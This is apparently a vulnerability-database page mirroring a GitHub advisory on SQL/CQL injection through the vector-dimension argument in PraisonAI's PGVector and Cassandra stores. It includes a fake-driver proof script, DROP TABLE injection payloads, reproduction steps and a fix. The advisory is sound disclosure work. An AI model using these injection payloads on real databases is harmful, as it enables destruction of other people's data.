GHSA-WF65-4JJX-Q444

Vulnerability from github – Published: 2026-10-08 17:17 – Updated: 2026-10-08 17:17
VLAI
Summary
PraisonAI: PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL
Details

PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL

Summary

The PGVector and Cassandra knowledge-store backends validate SQL/CQL identifiers such as schema, keyspace, and collection names, but still insert the caller-controlled dimension argument directly into CREATE TABLE vector column declarations. A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver.

Technical Details

The affected boundary is the vector-store collection creation API. The shared KnowledgeStore.create_collection() contract declares dimension: int, but Python type hints are not enforced at runtime. Backends that interpolate that value into DDL must validate the runtime value before constructing SQL/CQL.

src/praisonai/praisonai/persistence/knowledge/pgvector.py already treats DDL identifier interpolation as security-sensitive: __init__() calls validate_identifier(schema, name="schema"), and _table_name() calls validate_identifier(collection, name="collection name") before returning f"{self.schema}.praison_vec_{collection}". However, PGVectorKnowledgeStore.create_collection() then executes:

cur.execute(f"""
    CREATE TABLE IF NOT EXISTS {table} (
        id VARCHAR(255) PRIMARY KEY,
        content TEXT,
        content_hash VARCHAR(64),
        created_at DOUBLE PRECISION,
        metadata JSONB,
        embedding vector({dimension})
    )
""")

No equivalent type or range check runs on dimension. Passing a string such as 3); DROP TABLE tenant_secrets; -- reaches the SQL sent to cur.execute().

src/praisonai/praisonai/persistence/knowledge/cassandra.py has the same pattern. The constructor validates keyspace, and create_collection() validates the collection name, but the vector column DDL uses:

self._session.execute(f"""
    CREATE TABLE IF NOT EXISTS {name} (
        id text PRIMARY KEY,
        content text,
        content_hash text,
        created_at double,
        embedding vector<float, {dimension}>
    )
""")

Passing a string such as 3>; DROP TABLE tenant_secrets; -- reaches the CQL sent to session.execute().

PoV

This minimal PoV imports the real backend classes with fake database drivers, records the statements sent to the drivers, and compares a safe integer dimension with a malicious string dimension. It also attempts a malicious collection name as a negative control; current code rejects that name, proving the identifier hardening is active while the vector dimension remains unguarded.

#!/usr/bin/env python3
"""Local PoV for vector-store dimension DDL interpolation.

The script imports PraisonAI's current source with fake PostgreSQL/Cassandra
drivers, then records the SQL/CQL sent to the driver cursors. No database server
is required; the assertion is that the real classes build executable DDL with an
attacker-controlled dimension string.
"""

from __future__ import annotations

import argparse
import importlib
import json
import subprocess
import sys
import types
from pathlib import Path
from typing import Any


class SqlRecorder:
    def __init__(self) -> None:
        self.statements: list[dict[str, Any]] = []

    def execute(self, statement: str, params: Any = None) -> None:
        normalized = "\n".join(line.rstrip() for line in statement.strip().splitlines())
        self.statements.append({"statement": normalized, "params": params})

    def __enter__(self) -> "SqlRecorder":
        return self

    def __exit__(self, *_exc: object) -> None:
        return None


class FakeConnection:
    def __init__(self, recorder: SqlRecorder) -> None:
        self.recorder = recorder

    def cursor(self, *args: Any, **kwargs: Any) -> SqlRecorder:
        return self.recorder

    def commit(self) -> None:
        return None


class FakePool:
    def __init__(self, recorder: SqlRecorder) -> None:
        self.conn = FakeConnection(recorder)

    def getconn(self) -> FakeConnection:
        return self.conn

    def putconn(self, _conn: FakeConnection) -> None:
        return None

    def closeall(self) -> None:
        return None


class FakeCassandraSession:
    def __init__(self, recorder: SqlRecorder) -> None:
        self.recorder = recorder
        self.keyspace: str | None = None

    def execute(self, statement: str, params: Any = None) -> list[Any]:
        self.recorder.execute(statement, params)
        return []

    def set_keyspace(self, keyspace: str) -> None:
        self.keyspace = keyspace


class FakeCluster:
    recorder: SqlRecorder

    def __init__(self, *_args: Any, **_kwargs: Any) -> None:
        self.session = FakeCassandraSession(self.recorder)

    def connect(self) -> FakeCassandraSession:
        return self.session

    def shutdown(self) -> None:
        return None


def install_fake_pg_driver(recorder: SqlRecorder) -> None:
    psycopg2 = types.ModuleType("psycopg2")
    pool = types.ModuleType("psycopg2.pool")
    extras = types.ModuleType("psycopg2.extras")

    pool.ThreadedConnectionPool = lambda *_args, **_kwargs: FakePool(recorder)  # type: ignore[attr-defined]
    extras.RealDictCursor = object  # type: ignore[attr-defined]
    psycopg2.pool = pool  # type: ignore[attr-defined]
    psycopg2.extras = extras  # type: ignore[attr-defined]

    sys.modules["psycopg2"] = psycopg2
    sys.modules["psycopg2.pool"] = pool
    sys.modules["psycopg2.extras"] = extras


def install_fake_cassandra_driver(recorder: SqlRecorder) -> None:
    cassandra = types.ModuleType("cassandra")
    cluster = types.ModuleType("cassandra.cluster")
    auth = types.ModuleType("cassandra.auth")

    FakeCluster.recorder = recorder
    cluster.Cluster = FakeCluster  # type: ignore[attr-defined]
    auth.PlainTextAuthProvider = lambda *_args, **_kwargs: object()  # type: ignore[attr-defined]

    sys.modules["cassandra"] = cassandra
    sys.modules["cassandra.cluster"] = cluster
    sys.modules["cassandra.auth"] = auth


def git_value(source_root: Path, *args: str) -> str:
    return subprocess.check_output(["git", *args], cwd=source_root, text=True).strip()


def try_invalid_collection(store: Any) -> str:
    try:
        store.create_collection("docs; DROP TABLE blocked; --", 3)
    except Exception as exc:  # noqa: BLE001 - output records exact guard behavior.
        return f"{type(exc).__name__}: {exc}"
    return "accepted"


def run_pgvector(source_root: Path) -> dict[str, Any]:
    recorder = SqlRecorder()
    install_fake_pg_driver(recorder)
    sys.path.insert(0, str(source_root / "src" / "praisonai"))
    mod = importlib.import_module("praisonai.persistence.knowledge.pgvector")
    store = mod.PGVectorKnowledgeStore(url="postgresql://example.invalid/db", auto_create_extension=False)

    invalid_collection = try_invalid_collection(store)
    recorder.statements.clear()
    store.create_collection("docs", 3)
    safe_statements = list(recorder.statements)

    recorder.statements.clear()
    payload = "3); DROP TABLE tenant_secrets; --"
    store.create_collection("docs", payload)
    malicious_statements = list(recorder.statements)

    return {
        "payload": payload,
        "invalid_collection_control": invalid_collection,
        "safe_contains_drop_table": "DROP TABLE" in json.dumps(safe_statements),
        "malicious_contains_drop_table": "DROP TABLE tenant_secrets" in json.dumps(malicious_statements),
        "safe_statements": safe_statements,
        "malicious_statements": malicious_statements,
    }


def run_cassandra(source_root: Path) -> dict[str, Any]:
    recorder = SqlRecorder()
    install_fake_cassandra_driver(recorder)
    sys.path.insert(0, str(source_root / "src" / "praisonai"))
    mod = importlib.import_module("praisonai.persistence.knowledge.cassandra")
    store = mod.CassandraKnowledgeStore(hosts=["127.0.0.1"], keyspace="praisonai_safe")

    invalid_collection = try_invalid_collection(store)
    recorder.statements.clear()
    store.create_collection("docs", 3)
    safe_statements = list(recorder.statements)

    recorder.statements.clear()
    payload = "3>; DROP TABLE tenant_secrets; --"
    store.create_collection("docs", payload)
    malicious_statements = list(recorder.statements)

    return {
        "payload": payload,
        "invalid_collection_control": invalid_collection,
        "safe_contains_drop_table": "DROP TABLE" in json.dumps(safe_statements),
        "malicious_contains_drop_table": "DROP TABLE tenant_secrets" in json.dumps(malicious_statements),
        "safe_statements": safe_statements,
        "malicious_statements": malicious_statements,
    }


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--source-root", type=Path, default=Path.cwd())
    args = parser.parse_args()
    source_root = args.source_root.resolve()

    output = {
        "source": {
            "repository": "MervinPraison/PraisonAI",
            "head": git_value(source_root, "rev-parse", "HEAD"),
            "describe": git_value(source_root, "describe", "--tags", "--always", "--dirty"),
        },
        "pgvector": run_pgvector(source_root),
        "cassandra": run_cassandra(source_root),
    }

    assert output["pgvector"]["invalid_collection_control"].startswith("ValueError:"), output
    assert output["cassandra"]["invalid_collection_control"].startswith("ValueError:"), output
    assert output["pgvector"]["safe_contains_drop_table"] is False, output
    assert output["cassandra"]["safe_contains_drop_table"] is False, output
    assert output["pgvector"]["malicious_contains_drop_table"] is True, output
    assert output["cassandra"]["malicious_contains_drop_table"] is True, output

    print(json.dumps(output, indent=2, sort_keys=True))


if __name__ == "__main__":
    main()

PoC

Save the PoV script above as pov_vector_dimension_ddl_injection.py, then reproduce against current head:

git clone https://github.com/MervinPraison/PraisonAI.git
cd PraisonAI
git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
python3 pov_vector_dimension_ddl_injection.py --source-root .

Decisive PGVector output:

{
  "pgvector": {
    "invalid_collection_control": "ValueError: collection name must be non-empty and contain only alphanumerics and underscores",
    "safe_contains_drop_table": false,
    "malicious_contains_drop_table": true,
    "malicious_statements": [
      {
        "statement": "CREATE TABLE IF NOT EXISTS public.praison_vec_docs (... embedding vector(3); DROP TABLE tenant_secrets; --) ...)"
      }
    ]
  }
}

Decisive Cassandra output:

{
  "cassandra": {
    "invalid_collection_control": "ValueError: collection name must be non-empty and contain only alphanumerics and underscores",
    "safe_contains_drop_table": false,
    "malicious_contains_drop_table": true,
    "malicious_statements": [
      {
        "statement": "CREATE TABLE IF NOT EXISTS docs (... embedding vector<float, 3>; DROP TABLE tenant_secrets; --> ...)"
      }
    ]
  }
}

The local controls also showed safe integer dimensions produce embedding vector(3) and embedding vector<float, 3> without DROP TABLE, while malicious collection names are rejected before driver execution.

Impact

This is a SQL/CQL injection sink in database DDL generation. Applications that expose RAG collection creation, tenant workspace provisioning, plugin-managed vector-store setup, or similar lower-trust configuration to PGVector or Cassandra knowledge stores can let a lower-privileged caller append database statements under the application database principal. Depending on database permissions, impact can include dropping, creating, or altering database objects. The conservative classification is CWE-89 for PGVector and CWE-943/CQL injection for Cassandra, with Medium severity because the attacker must influence the collection dimension and the application principal must have DDL privileges.

Suggested Fix

Validate dimension before constructing DDL in every backend that uses it. Prefer a shared helper at the KnowledgeStore.create_collection() boundary plus backend-level defense in depth:

def validate_vector_dimension(value: object) -> int:
    if isinstance(value, bool) or not isinstance(value, int):
        raise ValueError("dimension must be an integer")
    if value <= 0 or value > 200000:
        raise ValueError("dimension is outside the supported range")
    return value

Use the validated integer in PGVector, Cassandra, ClickHouse, SingleStore, and any other DDL-generating backend. Add regression tests that malicious values such as 3); DROP TABLE x; -- and 3>; DROP TABLE x; -- raise before any driver execute() call, alongside the existing malicious collection-name tests.

Affected Package/Versions

Affected package: praisonai.

The source sweep found the same dimension interpolation pattern in both PGVector and Cassandra backends at v3.10.0, v4.5.128, v4.6.59, v4.6.62, v4.6.63, v4.6.64, and current main commit 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab. A conservative affected range is praisonai >= 3.10.0, <= 4.6.64 plus current main, for installations using the PGVector or Cassandra knowledge-store backends and exposing collection dimensions to lower-trust input. No fixed version was identified in the checked source.

Advisory History

Repository security advisories were checked on 2026-06-19. The closest public advisory is GHSA-3643-7v76-5cj2, "PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries". Current head contains the follow-up identifier validation for schema, keyspace, and collection names, and the PoV negative controls confirm that collection-name injection is now rejected. This report is distinct because the unvalidated input is the vector dimension, the affected DDL fields are embedding vector({dimension}) and embedding vector<float, {dimension}>, and the issue remains after the identifier hardening.

Other checked comparators include conversation-store table_prefix SQL injection advisories (GHSA-rg3h-x3jw-7jm5, GHSA-x783-xp3g-mqhp) and unrelated Platform, Context, deployment, and agent-tool advisories. No checked advisory matched vector dimension interpolation in PGVector or Cassandra knowledge-store DDL.

References

  • src/praisonai/praisonai/persistence/knowledge/pgvector.py
  • src/praisonai/praisonai/persistence/knowledge/cassandra.py
  • src/praisonai/praisonai/persistence/knowledge/base.py
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3643-7v76-5cj2
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg3h-x3jw-7jm5
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.77"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-60090"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89",
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:17:01Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL\n\n## Summary\n\nThe PGVector and Cassandra knowledge-store backends validate SQL/CQL identifiers such as schema, keyspace, and collection names, but still insert the caller-controlled `dimension` argument directly into `CREATE TABLE` vector column declarations. A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver.\n\n## Technical Details\n\nThe affected boundary is the vector-store collection creation API. The shared `KnowledgeStore.create_collection()` contract declares `dimension: int`, but Python type hints are not enforced at runtime. Backends that interpolate that value into DDL must validate the runtime value before constructing SQL/CQL.\n\n`src/praisonai/praisonai/persistence/knowledge/pgvector.py` already treats DDL identifier interpolation as security-sensitive: `__init__()` calls `validate_identifier(schema, name=\"schema\")`, and `_table_name()` calls `validate_identifier(collection, name=\"collection name\")` before returning `f\"{self.schema}.praison_vec_{collection}\"`. However, `PGVectorKnowledgeStore.create_collection()` then executes:\n\n```python\ncur.execute(f\"\"\"\n    CREATE TABLE IF NOT EXISTS {table} (\n        id VARCHAR(255) PRIMARY KEY,\n        content TEXT,\n        content_hash VARCHAR(64),\n        created_at DOUBLE PRECISION,\n        metadata JSONB,\n        embedding vector({dimension})\n    )\n\"\"\")\n```\n\nNo equivalent type or range check runs on `dimension`. Passing a string such as `3); DROP TABLE tenant_secrets; --` reaches the SQL sent to `cur.execute()`.\n\n`src/praisonai/praisonai/persistence/knowledge/cassandra.py` has the same pattern. The constructor validates `keyspace`, and `create_collection()` validates the collection name, but the vector column DDL uses:\n\n```python\nself._session.execute(f\"\"\"\n    CREATE TABLE IF NOT EXISTS {name} (\n        id text PRIMARY KEY,\n        content text,\n        content_hash text,\n        created_at double,\n        embedding vector\u003cfloat, {dimension}\u003e\n    )\n\"\"\")\n```\n\nPassing a string such as `3\u003e; DROP TABLE tenant_secrets; --` reaches the CQL sent to `session.execute()`.\n\n## PoV\n\nThis minimal PoV imports the real backend classes with fake database drivers, records the statements sent to the drivers, and compares a safe integer dimension with a malicious string dimension. It also attempts a malicious collection name as a negative control; current code rejects that name, proving the identifier hardening is active while the vector dimension remains unguarded.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for vector-store dimension DDL interpolation.\n\nThe script imports PraisonAI\u0027s current source with fake PostgreSQL/Cassandra\ndrivers, then records the SQL/CQL sent to the driver cursors. No database server\nis required; the assertion is that the real classes build executable DDL with an\nattacker-controlled dimension string.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport importlib\nimport json\nimport subprocess\nimport sys\nimport types\nfrom pathlib import Path\nfrom typing import Any\n\n\nclass SqlRecorder:\n    def __init__(self) -\u003e None:\n        self.statements: list[dict[str, Any]] = []\n\n    def execute(self, statement: str, params: Any = None) -\u003e None:\n        normalized = \"\\n\".join(line.rstrip() for line in statement.strip().splitlines())\n        self.statements.append({\"statement\": normalized, \"params\": params})\n\n    def __enter__(self) -\u003e \"SqlRecorder\":\n        return self\n\n    def __exit__(self, *_exc: object) -\u003e None:\n        return None\n\n\nclass FakeConnection:\n    def __init__(self, recorder: SqlRecorder) -\u003e None:\n        self.recorder = recorder\n\n    def cursor(self, *args: Any, **kwargs: Any) -\u003e SqlRecorder:\n        return self.recorder\n\n    def commit(self) -\u003e None:\n        return None\n\n\nclass FakePool:\n    def __init__(self, recorder: SqlRecorder) -\u003e None:\n        self.conn = FakeConnection(recorder)\n\n    def getconn(self) -\u003e FakeConnection:\n        return self.conn\n\n    def putconn(self, _conn: FakeConnection) -\u003e None:\n        return None\n\n    def closeall(self) -\u003e None:\n        return None\n\n\nclass FakeCassandraSession:\n    def __init__(self, recorder: SqlRecorder) -\u003e None:\n        self.recorder = recorder\n        self.keyspace: str | None = None\n\n    def execute(self, statement: str, params: Any = None) -\u003e list[Any]:\n        self.recorder.execute(statement, params)\n        return []\n\n    def set_keyspace(self, keyspace: str) -\u003e None:\n        self.keyspace = keyspace\n\n\nclass FakeCluster:\n    recorder: SqlRecorder\n\n    def __init__(self, *_args: Any, **_kwargs: Any) -\u003e None:\n        self.session = FakeCassandraSession(self.recorder)\n\n    def connect(self) -\u003e FakeCassandraSession:\n        return self.session\n\n    def shutdown(self) -\u003e None:\n        return None\n\n\ndef install_fake_pg_driver(recorder: SqlRecorder) -\u003e None:\n    psycopg2 = types.ModuleType(\"psycopg2\")\n    pool = types.ModuleType(\"psycopg2.pool\")\n    extras = types.ModuleType(\"psycopg2.extras\")\n\n    pool.ThreadedConnectionPool = lambda *_args, **_kwargs: FakePool(recorder)  # type: ignore[attr-defined]\n    extras.RealDictCursor = object  # type: ignore[attr-defined]\n    psycopg2.pool = pool  # type: ignore[attr-defined]\n    psycopg2.extras = extras  # type: ignore[attr-defined]\n\n    sys.modules[\"psycopg2\"] = psycopg2\n    sys.modules[\"psycopg2.pool\"] = pool\n    sys.modules[\"psycopg2.extras\"] = extras\n\n\ndef install_fake_cassandra_driver(recorder: SqlRecorder) -\u003e None:\n    cassandra = types.ModuleType(\"cassandra\")\n    cluster = types.ModuleType(\"cassandra.cluster\")\n    auth = types.ModuleType(\"cassandra.auth\")\n\n    FakeCluster.recorder = recorder\n    cluster.Cluster = FakeCluster  # type: ignore[attr-defined]\n    auth.PlainTextAuthProvider = lambda *_args, **_kwargs: object()  # type: ignore[attr-defined]\n\n    sys.modules[\"cassandra\"] = cassandra\n    sys.modules[\"cassandra.cluster\"] = cluster\n    sys.modules[\"cassandra.auth\"] = auth\n\n\ndef git_value(source_root: Path, *args: str) -\u003e str:\n    return subprocess.check_output([\"git\", *args], cwd=source_root, text=True).strip()\n\n\ndef try_invalid_collection(store: Any) -\u003e str:\n    try:\n        store.create_collection(\"docs; DROP TABLE blocked; --\", 3)\n    except Exception as exc:  # noqa: BLE001 - output records exact guard behavior.\n        return f\"{type(exc).__name__}: {exc}\"\n    return \"accepted\"\n\n\ndef run_pgvector(source_root: Path) -\u003e dict[str, Any]:\n    recorder = SqlRecorder()\n    install_fake_pg_driver(recorder)\n    sys.path.insert(0, str(source_root / \"src\" / \"praisonai\"))\n    mod = importlib.import_module(\"praisonai.persistence.knowledge.pgvector\")\n    store = mod.PGVectorKnowledgeStore(url=\"postgresql://example.invalid/db\", auto_create_extension=False)\n\n    invalid_collection = try_invalid_collection(store)\n    recorder.statements.clear()\n    store.create_collection(\"docs\", 3)\n    safe_statements = list(recorder.statements)\n\n    recorder.statements.clear()\n    payload = \"3); DROP TABLE tenant_secrets; --\"\n    store.create_collection(\"docs\", payload)\n    malicious_statements = list(recorder.statements)\n\n    return {\n        \"payload\": payload,\n        \"invalid_collection_control\": invalid_collection,\n        \"safe_contains_drop_table\": \"DROP TABLE\" in json.dumps(safe_statements),\n        \"malicious_contains_drop_table\": \"DROP TABLE tenant_secrets\" in json.dumps(malicious_statements),\n        \"safe_statements\": safe_statements,\n        \"malicious_statements\": malicious_statements,\n    }\n\n\ndef run_cassandra(source_root: Path) -\u003e dict[str, Any]:\n    recorder = SqlRecorder()\n    install_fake_cassandra_driver(recorder)\n    sys.path.insert(0, str(source_root / \"src\" / \"praisonai\"))\n    mod = importlib.import_module(\"praisonai.persistence.knowledge.cassandra\")\n    store = mod.CassandraKnowledgeStore(hosts=[\"127.0.0.1\"], keyspace=\"praisonai_safe\")\n\n    invalid_collection = try_invalid_collection(store)\n    recorder.statements.clear()\n    store.create_collection(\"docs\", 3)\n    safe_statements = list(recorder.statements)\n\n    recorder.statements.clear()\n    payload = \"3\u003e; DROP TABLE tenant_secrets; --\"\n    store.create_collection(\"docs\", payload)\n    malicious_statements = list(recorder.statements)\n\n    return {\n        \"payload\": payload,\n        \"invalid_collection_control\": invalid_collection,\n        \"safe_contains_drop_table\": \"DROP TABLE\" in json.dumps(safe_statements),\n        \"malicious_contains_drop_table\": \"DROP TABLE tenant_secrets\" in json.dumps(malicious_statements),\n        \"safe_statements\": safe_statements,\n        \"malicious_statements\": malicious_statements,\n    }\n\n\ndef main() -\u003e None:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--source-root\", type=Path, default=Path.cwd())\n    args = parser.parse_args()\n    source_root = args.source_root.resolve()\n\n    output = {\n        \"source\": {\n            \"repository\": \"MervinPraison/PraisonAI\",\n            \"head\": git_value(source_root, \"rev-parse\", \"HEAD\"),\n            \"describe\": git_value(source_root, \"describe\", \"--tags\", \"--always\", \"--dirty\"),\n        },\n        \"pgvector\": run_pgvector(source_root),\n        \"cassandra\": run_cassandra(source_root),\n    }\n\n    assert output[\"pgvector\"][\"invalid_collection_control\"].startswith(\"ValueError:\"), output\n    assert output[\"cassandra\"][\"invalid_collection_control\"].startswith(\"ValueError:\"), output\n    assert output[\"pgvector\"][\"safe_contains_drop_table\"] is False, output\n    assert output[\"cassandra\"][\"safe_contains_drop_table\"] is False, output\n    assert output[\"pgvector\"][\"malicious_contains_drop_table\"] is True, output\n    assert output[\"cassandra\"][\"malicious_contains_drop_table\"] is True, output\n\n    print(json.dumps(output, indent=2, sort_keys=True))\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## PoC\n\nSave the PoV script above as `pov_vector_dimension_ddl_injection.py`, then reproduce against current head:\n\n```bash\ngit clone https://github.com/MervinPraison/PraisonAI.git\ncd PraisonAI\ngit checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\npython3 pov_vector_dimension_ddl_injection.py --source-root .\n```\n\nDecisive PGVector output:\n\n```json\n{\n  \"pgvector\": {\n    \"invalid_collection_control\": \"ValueError: collection name must be non-empty and contain only alphanumerics and underscores\",\n    \"safe_contains_drop_table\": false,\n    \"malicious_contains_drop_table\": true,\n    \"malicious_statements\": [\n      {\n        \"statement\": \"CREATE TABLE IF NOT EXISTS public.praison_vec_docs (... embedding vector(3); DROP TABLE tenant_secrets; --) ...)\"\n      }\n    ]\n  }\n}\n```\n\nDecisive Cassandra output:\n\n```json\n{\n  \"cassandra\": {\n    \"invalid_collection_control\": \"ValueError: collection name must be non-empty and contain only alphanumerics and underscores\",\n    \"safe_contains_drop_table\": false,\n    \"malicious_contains_drop_table\": true,\n    \"malicious_statements\": [\n      {\n        \"statement\": \"CREATE TABLE IF NOT EXISTS docs (... embedding vector\u003cfloat, 3\u003e; DROP TABLE tenant_secrets; --\u003e ...)\"\n      }\n    ]\n  }\n}\n```\n\nThe local controls also showed safe integer dimensions produce `embedding vector(3)` and `embedding vector\u003cfloat, 3\u003e` without `DROP TABLE`, while malicious collection names are rejected before driver execution.\n\n## Impact\n\nThis is a SQL/CQL injection sink in database DDL generation. Applications that expose RAG collection creation, tenant workspace provisioning, plugin-managed vector-store setup, or similar lower-trust configuration to PGVector or Cassandra knowledge stores can let a lower-privileged caller append database statements under the application database principal. Depending on database permissions, impact can include dropping, creating, or altering database objects. The conservative classification is CWE-89 for PGVector and CWE-943/CQL injection for Cassandra, with Medium severity because the attacker must influence the collection dimension and the application principal must have DDL privileges.\n\n## Suggested Fix\n\nValidate `dimension` before constructing DDL in every backend that uses it. Prefer a shared helper at the `KnowledgeStore.create_collection()` boundary plus backend-level defense in depth:\n\n```python\ndef validate_vector_dimension(value: object) -\u003e int:\n    if isinstance(value, bool) or not isinstance(value, int):\n        raise ValueError(\"dimension must be an integer\")\n    if value \u003c= 0 or value \u003e 200000:\n        raise ValueError(\"dimension is outside the supported range\")\n    return value\n```\n\nUse the validated integer in PGVector, Cassandra, ClickHouse, SingleStore, and any other DDL-generating backend. Add regression tests that malicious values such as `3); DROP TABLE x; --` and `3\u003e; DROP TABLE x; --` raise before any driver `execute()` call, alongside the existing malicious collection-name tests.\n\n## Affected Package/Versions\n\nAffected package: `praisonai`.\n\nThe source sweep found the same dimension interpolation pattern in both PGVector and Cassandra backends at `v3.10.0`, `v4.5.128`, `v4.6.59`, `v4.6.62`, `v4.6.63`, `v4.6.64`, and current main commit `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`. A conservative affected range is `praisonai \u003e= 3.10.0, \u003c= 4.6.64` plus current main, for installations using the PGVector or Cassandra knowledge-store backends and exposing collection dimensions to lower-trust input. No fixed version was identified in the checked source.\n\n## Advisory History\n\nRepository security advisories were checked on 2026-06-19. The closest public advisory is `GHSA-3643-7v76-5cj2`, \"PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries\". Current head contains the follow-up identifier validation for schema, keyspace, and collection names, and the PoV negative controls confirm that collection-name injection is now rejected. This report is distinct because the unvalidated input is the vector dimension, the affected DDL fields are `embedding vector({dimension})` and `embedding vector\u003cfloat, {dimension}\u003e`, and the issue remains after the identifier hardening.\n\nOther checked comparators include conversation-store `table_prefix` SQL injection advisories (`GHSA-rg3h-x3jw-7jm5`, `GHSA-x783-xp3g-mqhp`) and unrelated Platform, Context, deployment, and agent-tool advisories. No checked advisory matched vector dimension interpolation in PGVector or Cassandra knowledge-store DDL.\n\n## References\n\n- `src/praisonai/praisonai/persistence/knowledge/pgvector.py`\n- `src/praisonai/praisonai/persistence/knowledge/cassandra.py`\n- `src/praisonai/praisonai/persistence/knowledge/base.py`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3643-7v76-5cj2`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg3h-x3jw-7jm5`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp`",
  "id": "GHSA-wf65-4jjx-q444",
  "modified": "2026-10-08T17:17:01Z",
  "published": "2026-10-08T17:17:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wf65-4jjx-q444"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60090"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-sql-cql-injection-via-vector-dimension"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "PraisonAI: PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.